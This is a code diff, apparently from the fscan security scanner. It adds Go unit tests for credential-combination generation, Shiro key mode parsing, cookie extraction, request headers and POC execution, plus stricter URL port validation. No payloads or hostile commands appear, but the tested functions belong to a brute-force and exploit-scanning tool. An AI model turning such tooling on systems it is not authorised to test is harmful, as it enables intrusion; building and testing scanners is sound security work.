|
||||
}
|
||||
if !isFuzz(Rules{Body: "token={{token}}"}, sets) {
|
||||
t.Fatal("body placeholder should require fuzzing")
|
||||
}
|
||||
if isFuzz(Rules{Path: "/api/static"}, sets) {
|
||||
t.Fatal("static rule should not require fuzzing")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("Combo and MakeData", func(t *testing.T) {
|
||||
if got := Combo(nil); got != nil {
|
||||
t.Fatalf("Combo(nil) = %#v, want nil", got)
|
||||
}
|
||||
one := Combo(ListMap{{Key: "user", Value: []string{"admin", "root"}}})
|
||||
if len(one) != 2 || one[0][0] != "admin" || one[1][0] != "root" {
|
||||
t.Fatalf("single Combo = %#v", one)
|
||||
}
|
||||
combos := Combo(ListMap{
|
||||
{Key: "user", Value: []string{"admin", "root"}},
|
||||
{Key: "pass", Value: []string{"123", "456"}},
|
||||
})
|
||||
want := [][]string{{"admin", "123"}, {"root", "123"}, {"admin", "456"}, {"root", "456"}}
|
||||
if !stringMatrixEqual(combos, want) {
|
||||
t.Fatalf("Combo = %#v, want %#v", combos, want)
|
||||
}
|
||||
made := MakeData([][]string{{"b"}, {"c"}}, []string{"a"})
|
||||
if !stringMatrixEqual(made, [][]string{{"a", "b"}, {"a", "c"}}) {
|
||||
t.Fatalf("MakeData = %#v", made)
|
||||
}
|
||||
if got := shiroKeyMode([]string{"only-key"}); got != "" {
|
||||
t.Fatalf("shiroKeyMode(short combo) = %q, want empty", got)
|
||||
}
|
||||
if got := shiroKeyMode([]string{"key", "cbc"}); got != "cbc" {
|
||||
t.Fatalf("shiroKeyMode() = %q, want cbc", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("cloneRules deep-copies headers", func(t *testing.T) {
|
||||
original := Rules{
|
||||
Method: "POST",
|
||||
Path: "/login",
|
||||
Body: "a=b",
|
||||
Search: "token",
|
||||
FollowRedirects: true,
|
||||
Expression: "true",
|
||||
Headers: map[string]string{"X-Test": "one"},
|
||||
Continue: true,
|
||||
}
|
||||
cloned := cloneRules(original)
|
||||
cloned.Headers["X-Test"] = "two"
|
||||
if original.Headers["X-Test"] != "one" {
|
||||
t.Fatalf("cloneRules should deep copy headers, original = %#v", original.Headers)
|
||||
}
|
||||
if cloned.Method != original.Method || cloned.Path != original.Path || !cloned.FollowRedirects || !cloned.Continue {
|
||||
t.Fatalf("cloneRules lost fields: %#v", cloned)
|
||||
}
|
||||
if cloneMap(nil) != nil {
|
||||
t.Fatal("cloneMap(nil) should return nil")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("doSearch and GetHeader", func(t *testing.T) {
|
||||
header := GetHeader(map[string]string{"Set-Cookie": "sid=abc; Path=/; HttpOnly", "Server": "nginx"})
|
||||
if !strings.Contains(header, "Set-Cookie: sid=abc; Path=/; HttpOnly") || !strings.HasSuffix(header, "\r\n") {
|
||||
t.Fatalf("GetHeader output = %q", header)
|
||||
}
|
||||
result := doSearch(`Set-Cookie:\s*(?P<cookie>[^\n]+)`, header)
|
||||
if result["cookie"] != "sid=abc" {
|
||||
t.Fatalf("cookie search = %#v", result)
|
||||
}
|
||||
result = doSearch(`token=(\w+)&id=(?P<id>\d+)`, "token=abc&id=42")
|
||||
if result[""] != "" || result["id"] != "42" || len(result) != 1 {
|
||||
t.Fatalf("unnamed groups should be skipped, got %#v", result)
|
||||
}
|
||||
if got := doSearch(`(?P<bad>`, "body"); got != nil {
|
||||
t.Fatalf("invalid regex result = %#v, want nil", got)
|
||||
}
|
||||
if got := doSearch(`nomatch(?P<value>\d+)`, "body"); got != nil {
|
||||
t.Fatalf("no match result = %#v, want nil", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func stringMatrixEqual(a, b [][]string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if len(a[i]) != len(b[i]) {
|
||||
return false
|
||||
}
|
||||
for j := range a[i] {
|
||||
if a[i][j] != b[i][j] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -115,6 +116,20 @@ func buildTargetURL(info *common.HostInfo) (string, error) {
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("%w: %w", ErrInvalidURL, err)
|
||||
}
|
||||
if parsedURL.Hostname() == "" {
|
||||
return "", fmt.Errorf("%w: empty host", ErrInvalidURL)
|
||||
}
|
||||
portStr := parsedURL.Port()
|
||||
if portStr == "" {
|
||||
if hasMalformedWebURLPort(parsedURL.Host) {
|
||||
return "", fmt.Errorf("%w: invalid port", ErrInvalidURL)
|
||||
}
|
||||
} else {
|
||||
port, err := strconv.Atoi(portStr)
|
||||
if err != nil || port < 1 || port > 65535 {
|
||||
return "", fmt.Errorf("%w: invalid port %q", ErrInvalidURL, portStr)
|
||||
}
|
||||
}
|
||||
parsedURL.Host = normalizeWebURLHost(parsedURL.Host)
|
||||
|
||||
return fmt.Sprintf("%s://%s", parsedURL.Scheme, parsedURL.Host), nil
|
||||
@@ -152,6 +167,14 @@ func normalizeWebURLHost(host string) string {
|
||||
return host
|
||||
}
|
||||
|
||||
func hasMalformedWebURLPort(host string) bool {
|
||||
if strings.HasPrefix(host, "[") {
|
||||
end := strings.LastIndexByte(host, ']')
|
||||
return end >= 0 && len(host) > end+1 && host[end+1] == ':'
|
||||
}
|
||||
return strings.Contains(host, ":")
|
||||
}
|
||||
|
||||
// scanByFingerprints 根据指纹执行POC
|
||||
func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) {
|
||||
for _, fingerprint := range fingerprints {
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package WebScan
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/config"
|
||||
"github.com/shadow1ng/fscan/webscan/lib"
|
||||
)
|
||||
|
||||
@@ -154,6 +156,41 @@ func TestBuildTargetURL(t *testing.T) {
|
||||
expected: "http://[2001:db8::1]",
|
||||
expectError: false,
|
||||
},
|
||||
{
|
||||
name: "empty host is rejected",
|
||||
hostInfo: &common.HostInfo{
|
||||
Port: 80,
|
||||
URL: "http://",
|
||||
},
|
||||
expectError: true,
|
||||
},
|
||||
{
|
||||
name: "invalid port is rejected",
|
||||
hostInfo: &common.HostInfo{
|
||||
Host: "example.com",
|
||||
Port: 80,
|
||||
URL: "http://example.com:bad",
|
||||
},
|
||||
expectError: true,
|
||||
},
|
||||
{
|
||||
name: "empty explicit port is rejected",
|
||||
hostInfo: &common.HostInfo{
|
||||
Host: "example.com",
|
||||
Port: 80,
|
||||
URL: "http://example.com:",
|
||||
},
|
||||
expectError: true,
|
||||
},
|
||||
{
|
||||
name: "out of range port is rejected",
|
||||
hostInfo: &common.HostInfo{
|
||||
Host: "example.com",
|
||||
Port: 80,
|
||||
URL: "http://example.com:70000",
|
||||
},
|
||||
expectError: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
@@ -430,6 +467,44 @@ func TestFilterPocsNilSafety(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateBaseRequestHeaders(t *testing.T) {
|
||||
cfg := common.NewConfig()
|
||||
cfg.HTTP.UserAgent = "fscan-test-agent"
|
||||
cfg.HTTP.Accept = "application/json"
|
||||
cfg.HTTP.Cookie = "sid=abc"
|
||||
|
||||
req, err := createBaseRequest(context.Background(), "http://example.com/path", cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("createBaseRequest error = %v", err)
|
||||
}
|
||||
if req.Method != "GET" {
|
||||
t.Fatalf("method = %q, want GET", req.Method)
|
||||
}
|
||||
if got := req.Header.Get("User-agent"); got != "fscan-test-agent" {
|
||||
t.Fatalf("User-agent = %q", got)
|
||||
}
|
||||
if got := req.Header.Get("Accept"); got != "application/json" {
|
||||
t.Fatalf("Accept = %q", got)
|
||||
}
|
||||
if got := req.Header.Get("Cookie"); got != "sid=abc" {
|
||||
t.Fatalf("Cookie = %q", got)
|
||||
}
|
||||
if got := req.Header.Get("Accept-Language"); got == "" {
|
||||
t.Fatal("Accept-Language should be set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutePOCsEarlyReturns(t *testing.T) {
|
||||
cfg := common.NewConfig()
|
||||
session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{})
|
||||
previous := allPocs
|
||||
allPocs = nil
|
||||
t.Cleanup(func() { allPocs = previous })
|
||||
|
||||
executePOCs(context.Background(), config.PocInfo{}, cfg, session)
|
||||
executePOCs(context.Background(), config.PocInfo{Target: "http://example.com", PocName: "missing"}, cfg, session)
|
||||
}
|
||||
|
||||
func TestDirectoryExists(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
|
||||
Reference in New Issue
Block a user